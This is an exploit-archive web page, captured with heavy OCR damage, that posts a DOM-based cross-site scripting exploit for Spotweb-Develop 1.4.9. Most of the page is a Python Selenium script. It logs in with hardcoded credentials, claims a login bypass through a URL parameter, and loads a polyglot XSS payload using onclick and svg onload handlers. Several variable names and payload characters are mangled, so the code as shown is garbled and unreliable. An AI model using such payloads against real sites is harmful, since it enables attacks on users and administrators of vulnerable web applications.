

+	Jacr	۱t	:	JU							Search		
exploit the possibilities													
ı	Home	ı	Files		News	Т	About	1	Contact	&[SERVICES_TAB]	Add New	1	

Spotweb-Develop 1.4.9 Cross Site Scripting

Posted May 20, 2021

Spotweb-Develop version 1.4.9 suffers from a cross site scripting vulnerability.

Related Files

Share This

Like

TWEE

LinkedIn Reddit Digg StumbleUpon

Change Mirror Download # Exploit Title: Cross Site Scripting (DOM Based) spotweb-develop 1.4.9 # Author: @nullsecurlty # Author: @nullsecurity
* Testing and Debugging: nullsecurity \$ OWASP-ZAP
* Date: 05.20.2021
* Vendor: https://www.nibserver.com/
* Link: https://github.com/spotweb/spotweb
* CVGP: 2021-2021
* Proof: https://streamable.com/hix5ol [+] Exploit Source: #!/usr/bin/python3 # Author: @nullsecurlty # CVE-2021-XXXX from selenium import webdriver import time import os, sys # Vendor: https://www.nzbserver.com/ # Jump over login form :D website_link=" http://192.168.1.160/spotweb-develop/?page=login&data[htmlheaderssent]=true" # enter your login username username="nullsecurity" # enter your login password password="password" #enter the element for username input field element_for_username="loginform[username]" #enter the element for password input field element for password="loginform[password]" #enter the element for submit button
element_for_submit="loginform[submitlogin]" #browser = webdriver.Safari() #for macOS users[for others use chrome vis browser = webdriver.Chrome() #uncomment this line,for chrome users #browser = webdriver.Firefox() #uncomment this line,for chrome users time.sleep(3) browser.get((website link)) try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)
signifabutton = browser.find_element_by_name(element_for_submit)
signifabutton.click() # Exploit Cross Site Scripting (DOM Based)
Payload: #jaVasCript:/*-/*'/*'/**/**/*
//NDOUANGMOON///SYTLY(/fite///totkarea///>\xicsup/<svg/onload=alert()//>\xas time.sleep(1)
Payload link "esc-rule"
browser.get(("
http://192.168.1.160/spotweb-develop#jaVasCript:/*-/*`/*\'/**'/**'/(/*
*/OkcliCk-elet() */oNcliCk=alert()
)//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e'"")) print("The payload is deployed DOM is BOMing you ':))'...\n")
os.system('pause') except Exception: \$\$\$\$\$ This exception occurs if the element are not found in the webpage. print("DOM...") # Exploit Title: Cross Site Scripting (DOM Based) spotweb-develop 1.4.9 # Date: 05.20.2021 Date: 05.20.2021

Exploit Authort idea: nullsecurity

Exploit Debugging: nullsecurity & OWASP-ZAP

Vendor Homepage: https://www.nzbserver.com/

Software Link: https://github.com/spotweb/spotweb/releases # Steps to Reproduce: https://github.com/nullsecurlty/CVE-mitre/tree/main/CVE-2021-SPOTWEB-SXX-DOM

Login or Register to add favorites

E	Follow us on Twitter
<u>y</u>	Subscribe to an RSS Feed

File Archive: December 2022 <

Mo Tu We Th

Sa

$\overline{}$								
				1	2			
3								
4	5	6	7	8	9			
10								
11	12	13	14	15	16			
17								
18	19	20	21	22	23			
24								
25	26	27	28	29	30			
31								
op /	Autho	ors In	Last	30 D	ays			
ed H	at 157 fi	les						
bunt	u 76 file	s						
.iquid	Worm	23 files						
)ebiar	1 21 files	5						
ıu11sı	ecur1ty	/ 11 files	3					
malvuln 11 files								
Gentoo 9 files								

Google Security Research 8 files

Julien Ahrens 4 files

T. Weber 4 files File Tags File Archives ActiveX (932) December 2022 Advisory (79,754) Arbitrary (15.694) October 2022 BBS (2.859) September 2022 August 2022 Bypass (1,619) CGI (1,018) July 2022 Code Execution (6,926) June 2022 Conference (673) May 2022 April 2022 Cracker (840) CSRF (3,290) March 2022 DoS (22 602) February 2022 Encryption (2,349) January 2022 Exploit (50,359) Older File Inclusion (4,165) File Upload (946) Systems Firewall (821) AIX (426) Info Disclosure (2,660) Apple (1,926) Intrusion Detection (867) BSD (370) Java (2.899) CentOS (55) JavaScript (821) Cisco (1.917) Kernel (6,291) Debian (6,634) Local (14.201) Magazine (586) FreeBSD (1.242) Gentoo (4.272) Perl (1.418) HPUX (878) PHP (5.093) iOS (330) Proof of Concept (2,291) iPhone (108) Protocol (3,435) IRIX (220)

Juniper (67)

Linux (44,315) Mac OS X (684)

Mandriva (3.105)

NetBSD (255)

RedHat (12,469)

Slackware (941)

Solaris (1,607)

Security Tool (7,777) OpenBSD (479)

Python (1.467)

Remote (30,044)

Scanner (1.631)

Ruby (594)

Shell (3,103)

Sniffer (886)

Shellcode (1,204)

Spoof (2,166) SUSE (1,444) SQL Injection (16,102) Ubuntu (8,199) TCP (2,379) UNIX (9,159) Trojan (686) UnixWare (185) UDP (876) Windows (6,511) Virus (662) Other Vulnerability (31,136) Web (9,365) Whitepaper (3,729)



x86 (946) XSS (17,494)

Site Links About Us

News by Month History & Purpose Contact Information News Tags

Files by Month Terms of Service File Tags
File Directory Privacy Statement

Copyright Information

Hosting By Rokasec

Follow us on Twitter

